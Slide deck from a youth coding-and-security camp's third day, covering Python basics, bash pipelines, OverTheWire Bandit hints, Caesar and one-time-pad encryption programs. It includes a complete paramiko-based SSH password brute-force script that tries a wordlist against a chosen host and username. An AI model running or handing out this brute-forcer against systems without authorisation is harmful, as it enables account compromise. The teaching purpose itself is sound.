Hack to the Future

day three

{ python review }

  • Return vs print
  • Functions and parameters
  • For loops
  • Colons and whitespace

{ Returning values }

  • When a function returns a value, that values becomes the value of the function
def cow(name):
    return("My cow is named: " + name)

cow("Bob") #nothing will be outputted

myCow = cow("Bob")

cows = [cow("Bob"), cow("Spot"), cow("Hoover")]

{ white space }

  • White space is the white space between statements
  • The white space before statements inside of something is important!
  • A block of code is a group of statements, and the white space (tab) separate blocks of code
    • Consistent spacing
  • The 3 dots (. . . instead of >>>) in the interpreter means you're typing in a block of code
  • Blocks placed inside each other require extra spacing

{ white space }

this is block 1
this is block 1
      this is block 2
      this is block 2
      this is block 2
            this is block 3
            this is block 3
      this is block 2

      this is block 2
this is block 1
this is block 1

{ input }

  • You can take in user-inputted text in the code, and store it in a variable
  • input("text")
    • The user types something in and presses Enter
    • Whatever they typed in is returned by input() as a string
  • >>> name = input("Please enter your name: ")
  • >>> print("Hello, %s!" % name)
  • No matter what they input, it'll return a string

{ for loops }

  • For loops iterate a limited amount of times through a list with a variable taking on the values in the given list
  • for variable in list:
    • The variable iterates through the list and is assigned the value of the current iteration

  • Like if statements, the for loop is defined with a colon and followed by a block of code that is executed
for x in range(5):
    y = x + 1
    print(x+y)
for s in myList:
    print(s)

{ functions }

  • Functions allow you to write code just once, then reuse that code in your programs multiple times.
    • A group of lines of code that should all serve one purpose 
  • Functions take in parameters, which is a variable you give it that is only available in the body of the function (the block of code inside of it). 
def function(parameter):
    # block of code

{ function example }

You define (make) the function like this:

def printName(name):
    print("Hello, %s!" % name)

And call (use) it like this:

printName("John")

{ function example }

Another example, except with return instead of print():

def savings(chores, job, spend):
    return chores + job - spend
    # or return(chores+job-spend)

And call it like this:

print(savings(10, 10, 5))
# OR
money = savings(10, 10, 5)

{ functions }

  • Return
    • Must be used/saved to a variable or the value disappears
    • Useful for holding the value instead of immediately printing it
  • General facts
    • Anything with parentheses is a function
      • ex. print("string"), input(), append()
    • You create the parameter when defining the function, and pass it in (give the value) when calling it

Team Function Review!

How Team Function Reviews Work:

  • Teams compete to see who can write a function to solve the given problem or complete the given task
  • When finished, the instructors will look over the code
  • However, in order to win, a random member of the team will write the code on the board and the other member will have to explain the code line by line to the class

{ Team Function Review! }

 

Return the number of even integers in the given array. Note: the % "mod" operator computes the remainder, e.g. 5 % 2 is 1.

 

count_evens([2, 1, 2, 3, 4]) → 3

count_evens([2, 2, 0]) → 3

count_evens([1, 3, 5]) → 0​

{ another TFR }

Define a function sumOfList() that takes in a list as a parameter and adds up all of the numbers in the list.

Return the sum, or a string saying "The list is empty" if there are no items in the list.

 

Note: Use the len(param) function to return the length of the param

{ another TFR }

Write a function that takes in a string and an integer n, and returns a larger string that is n copies of the original string

 

Use a for loop, not the string*int

 

ex. string_times("Hi", 4) == HiHiHiHi

{ libraries and modules }

  • There is a lot of cool stuff you can do in Python, such as plotting scientific data, making games with pygame and scipy and mathplotlib
  • Modules are pre-written, complex, program files that allow us to do something specific
  • Libraries are giant collections of modules that serve a general purpose
  • To use access a library to make your code do cool stuff use import
  • Usually we only want one or two modules from a library, though, so we use the from library import module statement
    • ex. from Random import randint

{ pip }

  • Pip is a Python repository where you can download a lot of Python files, modules, and libraries
  • In the terminal:
    • sudo apt install python-pip
  • Updating pip for packages
    • pip install --upgrade setuptools

{ paramiko }

  • Paramiko is a Python implementation of the SSHv2 protocol for clients and servers
  • Library revolving around SSH networking concepts
  • Installing Paramiko:
    • sudo apt install build-essential python-dev libssl-dev libffi-dev
    • pip install paramiko

{ more bash }

  • Wildcards
    • * == any characters
    • ? == any single character
    • [characters] == any character that is a member of the set characters (Ex. :digit:, :lower:, :upper:)
    • Ex. b*.txt == any file beginning with 'b' followed by any characters and ending with '.txt'
  • All commands have a standard input (stdin), standard output (stdout), and standard error (stderr)

{ redirection }

  • Redirecting standard output
    • command > file
      • ​overwrites/creates the file containing the output of the command
    • command >> file
      • appends the output to the end of the file's contents
  • Redirecting standard error
    • command 2> file
      • adding the descriptor '2' makes it redirect an error
      • &> redirects both stdout and stderr
  • Dispose of unwanted output by redirecting to /dev/null

{ redirection }

  • Redirecting standard input
  • the cat command not only prints the contents of a file, it allows you to concatenate multiple files by using them as arguments
  • if you just type cat alone, you can type something in and that makes it an output until you press Ctrl+D
    • cat > lazy_dog.txt then type something in
    • command < file
      • changes the standard input from keyboard to file

{ pipelines }

  • Pipe operator | (vertical bar) pipes the standard output of one command into the standard input of another
  • command1 | command2
  • Commands used on the pipeline to change the input before outputting it are called filters
    • sort combines multiple outputs into a single, sorted one
      • ls /bin /usr/bin | sort | less
    • uniq omits/reports repeated lines
      • ls /bin /usr/bin | sort | uniq | less
      • ls /bin /usr/bin | sort | uniq -d | less
    • wc prints the number of lines, words, and bytes
    • grep searches a file and prints lines matching a pattern
      • grep "full name" thisIsAFile.py
      • ls /bin /usr/bin | grep zip

{ exercise }

In the terminal, navigate to the exercise1 directory in your named directory in your Desktop

 

Create an HTML_Files directory

In ONE command, move all of the html files into the HTML_Files directory

 

Then, create a file containing the contents of /usr/bin and /bin

Search through that file for unique lines containing the word "lib"

{ more bash }

  • . means current directory, .. means previous directory
    • Use ./ when pathing for things in the current directory
  • Filenames beginning with - are registered as stdin/stdout
    • User redirection or the "./" in front of the name to delimit it and make it accessible
  • The file command tells you the filetype of the file you pass in as an argument
    • ex. file file01
      • file01: ASCII text

{ more bash }

  • File example, overthewire's Bandit Level 4:
    • You must read through 10 files to find the one that contains human-readable text
    • You could open each one individually
    • OR, you could use the command file ./-* to return the filetype of every file beginning with - in the current directory
  • The find command searches through a tree of directories to find what you are looking for
    • find -options startingpoint -tests expression
    • check the man for options

    • startingpoint is where you begin your search

    • expression is what you're looking for, based on your option

    • tests are further options for what you're finding

{ find example }

  • Overthewire's Bandit Level 5:
    • You must search through a bunch of directories for a file of size 1033 bytes
    • find ./ -size 1033c
      • With the -size test, c == bytes
      • This searches through the current directory and subsequent directories for a file of size 1033B

{ file compression }

  • Removes redundancy from data to (in the case of lossless algorithms) preserve the data in a file but make it take up less space
  • gzip - compress & expand files
  • bzip2 - block sorting compresser (higher compression at the cost of speed)
  • Download the zip and unzip packages from apt to compress/extract zip archives
    • zip is both a compression tool and an archiver

{ archiving }

  • Archiving is gathering multiple files and bundling them into a single large file
    • Usually used in conjunction with compression and for backups
  • tar - Tape Archiving Utility
    • Files with the .tar* or .tgz extensions are tape archives
    • Syntax: tar mode[options] pathname
      • Modes: c - create an archive, x - extract an archive, t - list the contents of an archive; see the man page for more
    • Options don't need a leading dash, they're appended directly to the mode

{ overthewire }

  • Now, when we practice wargames with overthewire, make sure to look at the list of useful commands and helpful readings
    • Use the man page for commands
    • Let me know if all else fails

{ brute force attacks }

  • An inefficient, relatively easy way to break into things, by trying out various passwords
  • Very time consuming
  • Systematically checks all passphrases in, for example, the English dictionary
    • For loops anyone?
  • The best way to defend systems against brute force attacks is locking the amount of password attempts, such as the iPhone passcode locks that lock people out for a certain amount of time depending on amount of failed attempts

{ brute force ssh }

  • We will be coding out a brute force ssh script
  • PAY ATTENTION AND CAREFULLY COPY THE CODE AND LISTEN TO THE EXPLANATIONS
    • We will be pausing in the code so you can take time to double check your code to make sure it is a perfect copy
  • Import the modules we will need
    • paramiko - ssh library
    • sys - exits the script and returns code
    • OS - checks if password file path is correct
    • socket - used for connecting to ports and makes sure script runs correctly
import paramiko, sys, os, socket

global host, username, line, input_file

line = "\n----------------------------------\n"

try:
	host = raw_input("[*] Enter Target Host Address: ")
	username = raw_input("[*] Enter SSH Username: ")
	input_file = raw_input("[*] Enter input file: ")

	if os.path.exists(input_file) == False:
		print "\n [*] File Path Does Not Exist !!" 
		sys.exit(4)
except KeyboardInterrupt:
	print "\n\n [*] User Requested An Interrupt"
	sys.exit(3)

Handling keyboard interrupts (when you press control + c to get out of a process)

def ssh_connect(password, code = 0):
	ssh = paramiko.SSHClient()
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

	try:
		ssh.connect(host, port = 22, 
                    username = username, password = password)
	except paramiko.AuthenticationException:
		#[*] Authentication Failed...
		code = 1
	except:
		#[*] Connection Failed ... Host Down"
		code = 2

	ssh.close()
	return code 

Try out passwords!

input_file = open(input_file)

print ""

for i in input_file.readlines():
	password = i.strip("\n")
	try:
		response = ssh_connect(password)
		if response == 0:
			print("%s[*] User: %s [*] Pass Found: %s%s" %(line, 
                                username, password, line))
			sys.exit(0)
		elif response == 1:
			print("[*] User: %s [*] Pass: %s 
                            => Login Incorrect !!! <=" %(username, password))
		elif response == 2: 
			print("[*] Connection Could Not Be
                             Established To Address: %s" %(host))
			sys.exit(2)
	except Exception, e:
		print e 
		pass 

input_file.close()

{ cryptography }

  • Cryptography is a way of disguising the contents of your message, to make it harder for your enemies to read.
  • ex. Imagine Dean wants to send a secret message to Kirk, without Shuto knowing what the message says. Dean first picks a key, which will be a number such as 3. Dean then tells Kirk the key.

    Whenever Dean wants to write a message, all he needs to do is shift each of the letters in his message forward in the alphabet by 3 places

    • So the plaintext: Meet me at the park at three

      becomes the ciphertext: Phhw ph dw wkh sdun dw wkuhh

{ one time pad }

A one-time pad (OTP) is a different method of encryption. When using an OTP, a string of random numbers are generated and shared between Dean and Kirk. Each letter of the message is then shifted by the corresponding number in the OTP, so each letter has its own individual key! As long as Shuto doesn't have the OTP, the message is impossible to decrypt.

{ generating an otp }

  • Make a new Python file in your python_work directory
  • Import the randint function from the random module
    • from random import randint
  • You'll need the alphabet
    • ALPHABET = 'abcdefghijklmnopqrstuvwxyz'
  • Create a function to generate the OTP, parameters for the number of sheets in the pad, and the number of characters each sheet can encrypt
    • def generate_otp(sheets, length):
  • A new file needs to be created for every sheet. Each file will be saved as .txt. Ex: otp0.txt, otp1.txt, otp2.txt.
    • Add in two lines of code that will write out the random numbers to the file. \n so they're written to a new line

{ generating an otp }

def generate_otp(sheets, length):
    for sheet in range(sheets):
        with open("otp" + str(sheet) + ".txt","w") as f:
            for i in range(length):
                f.write(str(randint(0,26))+"\n")

{ loading a sheet }

  • You need a way to load a sheet and store the numbers in a list
  • Create a function to open a file and load the contents into a list by breaking up each line into its own item
def load_sheet(filename):
    with open(filename, "r") as f:
        contents = f.read().splitlines()
    return contents

{ writing a secret message }

The next function asks the user to type in the message that will be encrypted, and it converts all letters to lowercase

def get_plaintext():
    plain_text = input('Please type your message ')
    return plain_text.lower()

{ loading & saving }

Now you'll need two functions to open messages written to you, and saving the encrypted messages

def load_file(filename):
    with open(filename, "r") as f:
        contents = f.read()
    return contents

def save_file(filename, data):
    with open(filename, 'w') as f:
        f.write(data)

{ encrypting a message }

  • Encrypt a message from using a sheet from the OTP
  • Define a function with the message & used OTP sheet parameters and use an empty string to store the ciphertext
  • It will iterate through the string and use enumerate() to keep track of each character to encrypt and its position. Then it'll check if it's in the alphabet
def encrypt(plaintext, sheet):
    ciphertext = ''
    for position, character in enumerate(plaintext):
        if character not in ALPHABET:
            ciphertext += character

{ encrypting a message }

def encrypt(plaintext, sheet):
    ciphertext = ''
    for position, character in enumerate(plaintext):
        if character not in ALPHABET:
            ciphertext += character
        else:
            encrypted = (ALPHABET.index(character)
                        + int(sheet[position])) % 26
            ciphertext += ALPHABET[encrypted]
    return ciphertext
  • Find the position of the plaintext character in the alphabet
  • Add the value from the corresponding position form the OTP
  • New number gets converted into a letter (encrypted)

{ decrypting a message }

def decrypt(ciphertext, sheet):
    plaintext = ''
    for position, character in enumerate(ciphertext):
        if character not in ALPHABET:
            plaintext += character
        else:
            decrypted = (ALPHABET.index(character) 
                        - int(sheet[position])) % 26
            plaintext += ALPHABET[decrypted]
    return plaintext

Decrypting the message is similar to encrypting it. The only difference is you subtract the value rather than add it (and swap the ciphertext & plaintext, obviously)

{ adding a menu }

def menu():
    choices = ['1', '2', '3', '4']
    choice = '0'
    while True:
        while choice not in choices:
            print('What would you like to do?')
            print('1. Generate one-time pads')
            print('2. Encrypt a message')
            print('3. Decrypt a message')
            print('4. Quit the program')
            choice = input('Please type 1, 2, 3 or 4 and press Enter ')
  • Let's make the program easier to use for people by including a menu
  • Give the user 4 choices in the menu

{ adding a menu }

if choice == '1':
    sheets = int(input('How many one-time pads 
                         would you like to generate? '))
    length = int(input('What will be your maximum 
                         message length? '))
    generate_otp(sheets, length)
  • If option 1 is chosen, then the user needs to be asked how many sheets they want to generate and how long the sheets should be
  • These are passed into the generate_otp() function

{ adding a menu }

elif choice == '2':
    filename = input('Type in the filename of 
                        the OTP you want to use ')
    sheet = load_sheet(filename)
    plaintext = get_plaintext()
    ciphertext = encrypt(plaintext, sheet)
    filename = input('What will be the name 
                        of the encrypted file? ')
    save_file(filename, ciphertext)
  • If option 2 is chosen, then you need to get the name of the sheet they wish to use and the message they want to write
  • The message can be encrypted and saved with a name of their choosing

{ adding a menu }

elif choice == '3':
    filename = input('Type in the filename of 
                       the OTP you want to use ')
    sheet = load_sheet(filename)
    filename = input('Type in the name of the 
                        file to be decrypted ')
    ciphertext = load_file(filename)
    plaintext = decrypt(ciphertext, sheet)
    print('The message reads: \n')
    print(plaintext)
  • If option 3 is chosen, then you need to get the name of the sheet used to encrypt the file and the name for the file to be decrypted
  • The file can then be opened, decrypted, and the contents printed out

{ adding a menu }

elif choice == '4':
    exit()
choice = '0'
  • If option 4 is chosen, the program should exit
  • You need to reset the choice variable at the end of the function, so that the loop will continue around
  • Call the menu function to complete the code
menu()

{ survey time! }

https://www.surveymonkey.com/r/DWLHWKC

Made with Slides.com